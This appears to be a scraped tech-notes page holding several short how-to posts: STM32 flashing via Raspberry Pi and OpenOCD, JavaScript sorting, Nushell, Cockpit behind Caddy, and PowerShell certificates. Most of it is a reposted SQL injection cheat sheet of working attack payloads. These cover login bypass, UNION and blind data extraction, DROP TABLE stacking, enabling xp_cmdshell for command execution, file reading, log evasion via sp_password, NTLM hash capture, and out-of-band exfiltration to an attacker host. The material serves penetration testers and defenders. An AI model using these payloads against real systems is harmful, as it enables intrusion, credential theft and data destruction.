Programming STM32f1 using Raspberry pi 400 and openocd

Had to flash Gotek drive FDD-UDD U144K, which is STM32f1x based floppy drive emulator.
Motherboard is similar to most popular Gotek model but it has differnt header pinouts and has no ttl header.
Normaly you can program it using stlink flasher, but here is how to do it using only rasppbery pi.

Install openocd with apt (in my case 0.11.0-rc2 on debian)

Create Interface cfg file

#Use RPi GPIO pins
interface bcm2835gpio

#Base address of I/O port - this is changes with different rpi models - use xxd -c 4 -g 4 /proc/device-tree/soc/ranges to check
bcm2835gpio_peripheral_base 0x00000000

#Clock scaling
bcm2835gpio_speed_coeffs 146203 36

#SWD swclk swdio
# Header pin numbers 22 18
bcm2835gpio_swd_nums 25 24

#JTAG tck tms tdi tdo
#Header pin numbers 22 18 16 15
bcm2835gpio_jtag_nums 25 24 23 22

Connect pins to your stm32 board In caser this particular Gotek it is as follows:

  • Connect GND and +5V to power connector of gotek
  • Connect SWDIO (rpi pin 24) to header pin 46 (PA13)
  • Connect SWCLK (rpi pin 25) to header pin 49 (PA14)
  • Connect header pin 07 (NRST) to GND

Run (ocd_rpi.cfg is file defined above)

openocd -f ./ocd_rpi.cfg -c "transport select swd" -f /usr/share/openocd/scripts/target/stm32f1x.cfg

In a different shell execute "telnet localhost 4444" (you might need to install it - use apt).
From now on we use the telnet session.
Type "reset halt" and immediately disconnect header pin 07. The reply should be something like
target halted due to debug-request, current mode: Thread xPSR: 0x01000000 pc: 0x080061d4 msp: 0x200006c0

"stm32f1x unlock 0" was needed on this board to enable writing to the flash bank. ("flash banks" displays all available banks)
" flash write_image erase <your_path>/.hex"
type "reset run"
disconnect st-link.

Original tutorial found here: in Github issue. I just replaced stlink with raspberry pi.

Further reading for using openocd for stm32 programming can be found in this great Blog post

Sorting Objects By Property With Compare Function In JS

Say you have array of objects ...

const articles = [
id: 6,
isRead: false,
url: "",
title: "Jupiter could make an ideal dark matter detector",
'So you want to find dark matter, but you don"t know where to look. A giant planet might be exactly ........',
coverUrl: "",
published_at: "2021-04-12T20:58:11.658Z",
created_at: "2021-04-12T20:58:11.660Z",
updated_at: "2022-01-17T14:12:50.986Z",
cover: null
id: 19,
isRead: false,
'"Historic breakthrough": Chinese chipmaker unveils self-developed CPU architecture',
"Loongson Technology, a leading Chinese chip company based in Beijing, unveiled its fully self-developed CPU (central processing )",
"" +
created_at: "2021-04-19T10:35:33.254Z",
updated_at: "2021-04-25T15:33:46.931Z",
cover: null

... and you want to sort it from the lastet to the oldest.
You need to use compare function calling sort array method like so:

articles.sort(function(a, b) {
const d1 = new Date(a.updated_at);
const d2 = new Date(b.updated_at);
return d1 > d2 ? -1 : 1;

Enabling starship prompt in Nushell

After updating nushell via scoop starship gets dropped for some reason.

If you installed nushell on windows via scoop and are using starship prompt you might noticed that starship prompt gets dropped after scoop update nu comeback to bare prompt without starship anymore.

To get it back simply paste this snippet (taken directly from nushell docs)

config set prompt `echo $(starship prompt)`

Update: new versions of nu changed the way prompt config value is handled. Starship is now external, so you need it to install it manually (ie scoop install starship). Once its installed set it as default prompt with

config set prompt "starship prompt"

How to serve Cockpit admin interface via Caddy reverse proxy

Cockpit needs special treatment to be served via Caddy server reverse proxy

After installing Cockpit from packet manager (on Debian in this case) and trying to reverse-proxy it's default local port, as usual, you will notice that you can't log in.

Create a file /etc/cockpit/cockpit.conf

AllowUnencrypted = true
Origins = https://[DESTINATION HOST]
ProtocolHeader = X-Forwarded-Proto

Reload cockpit

systemctl restart cockpit.socket

SQL Injection Cheat Sheet

Original article:

SQL Injection Cheat Sheet

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.

Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.

M :


S :

SQL Server

P :


O :


+ :

Possibly all other databases

  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
    1. Line Comments
    2. Inline Comments
    3. Stacking Queries
    4. If Statements
    5. Using Integers
    6. String Operations
    7. Strings without Quotes
    8. String Modification & Related
    9. Union Injections
    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Finding Database Structure in SQL Server
    13. Fast way to extract data from Error Based SQL Injections in SQL Server
    14. Blind SQL Injections
    15. Covering Your Tracks
    16. Extra MySQL Notes
    17. Second Order SQL Injections
    18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

  • -- (SM) DROP sampletable;--
  • # (M) DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)

    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M)
    This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

    SELECT /*!**32302** 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /*
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
  • SELECT /*!**32302** 1/0, */ 1 FROM tablename
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!``**32302** 10*/
  • ID: 10
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!**32302** 1/0, */ 1 FROM tablename
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S)
    SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Injection Cheat sheet

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

  • IF(**_condition_,_true-part_,_false-part_**) (M) SELECT IF(1=1,'true','false')

SQL Server If Statement

  • IF **_condition_** **_true-part_** ELSE **_false-part_** (S)
    IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle If Statement

  • BEGIN IF **_condition_** THEN **_true-part_**; ELSE **_false-part_**; END IF; END; (O)
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN **_condition_** THEN **_true-part_** ELSE **_false-part_** END; (P)
If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0x_HEXNUMBER_ (SM)
    You can write hex like these;

    SELECT CHAR(0x66) (S)
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

  • + (S)
    SELECT login + '-' + password FROM members
  • || (*MO)
    SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, ...) (M)
    Concatenate supplied strings.
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) - Hex Representation of string
    SELECT 0x457578
    This will be selected as string in MySQL.

    In MySQL easy way to generate hex representations of strings use this;
    SELECT CONCAT('0x',HEX('c:\\boot.ini'))

  • Using CONCAT() in MySQL
    This will return 'KLM'.

  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    This will return 'KLM'.

  • SELECT CHR(75)||CHR(76)||CHR(77) (O)
    This will return 'KLM'.

  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
    This will return 'KLM'.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP)
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.


  • CHAR() (SM)
    Convert an integer of ASCII.


Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S)
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M)
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin' --

  • admin' #

  • admin'/*

  • ' or 1=1--

  • ' or 1=1#

  • ' or 1=1/*

  • ') or '1'='1--

  • ') or ('1'='1--

  • ....

  • Login as different user (SM*)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password : 1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

  • ' HAVING 1=1 --
  • ' GROUP BY **table.columnfromerror1** HAVING 1=1 --
  • ' GROUP BY **table.columnfromerror1, columnfromerror2** HAVING 1=1 --
  • ' GROUP BY **table.columnfromerror1, columnfromerror2, columnfromerror(n)** HAVING 1=1 -- and so on
  • If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N-- so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.


  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
    • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ' union select sum(**columntofind**) from **users**-- (S)
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument.

    If you are not getting an error it means column is numeric.

  • Also you can use CAST() or CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
    No Error - Syntax is right. MS SQL Server Used. Proceeding.

  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    No Error – First column is an integer.

  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
    Error! – Second column is not an integer.

  • 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
    No Error – Second column is a string.

  • 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
    Error! – Third column is not an integer. ...

    Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type **int** to image is not allowed.

You'll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

  1. Create table foo( line varchar(8000) )
  2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
  3. Drop temp table, and repeat for another file.


Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int exec sp_oacreate '', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' _Username:_ '; declare @o int exec sp_oacreate '', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages
  • Linked Servers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'
  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

IS_MEMBER (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"


You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you're really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1 RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST,
    ... WHERE users NOT IN ('First User', 'Second User')
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
  • Using Dirty Tricks
    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select from (SELECT (SELECT COUNT( AS rid FROM sysobjects i WHERE< AS x, name from sysobjects o) as p where p.x=3) as int
    Select from (SELECT (SELECT COUNT( AS rid FROM sysobjects i WHERE xtype='U' and< AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'

Finding Database Structure in Oracle (O)

Getting User defined Tables


Getting Column Names


Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAITFOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

`TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)`

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.


This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also, you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

  • Are we 'sa' ?
    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--


Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot!
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10);
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10);
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR((**{INJECTION}**),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1
  2. product.asp?name=Book
    1. product.asp?name=Bo'%2b'ok
    2. product.asp?name=Bo' || 'ok (_OM_)
    3. product.asp?name=Book' OR 'x'='x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
    • Write quer``y into a **new file** (_can not modify existing file_s)
  • UDF Function
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation();
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File
    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile
    • By default it's not available !
      • create table foo( line blob ); load data infile 'c:/boot.ini' into table foo; select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); Enumeration data, Guessed Brute Force
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

  • MD5()
    MD5 Hashing
  • SHA1()
    SHA1 Hashing
  • ENCODE()
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • SCHEMA()
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email :

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S)

bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'';'sa';'pwd', 'SELECT 1')
    Makes DNS resolution request to {INJECT}

  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECTION})+'\\test.txt'; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}

    {INJECTION} = You want to run the query.


  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), '\\')))
    Makes a NBNS query request/DNS resolution request to

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\\\share\\output.txt')
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.


  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'') FROM DUAL)
    You need to sniff dns resolution requests to

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||'',80) FROM DUAL)
    You need to sniff dns resolution requests to

    {INJECTION} = You want to run the query.

MS SQL insert or update if record exists

Simple and easy to modify sample for inserting new rows into MS SQL database or update in case of matching PRIMARY KEY.

Generating test certificate for local appx deployment

Short PowerShell snippet to generate local test certificate for Windows UWP apps development.

As of Visual Studio 2019, the original feature to create Test Certificates have been removed in order to, "promote better security practices". A bug report has been filed, but it does not seem that this feature will be coming back soon.

Taken from Pengwin Build Instructions

ISSUE SEEM TO BE FIXED BY NOW but this short powershell snippet to generate own test cert without using VS can be still quite handy:

$Subject = "CN=Your-appxmanifest-publisher"
$Store = "Cert:\CurrentUser\My"

# Delete old certificate
Get-ChildItem $Store | Where-Object { $_.Subject -match $Subject } | Remove-Item

# Create new certificate
New-SelfSignedCertificate -Type Custom -Subject $Subject -KeyUsage DigitalSignature -FriendlyName "Pengwin Test Certificate" -CertStoreLocation $Store -TextExtension @("{text}", "{text}")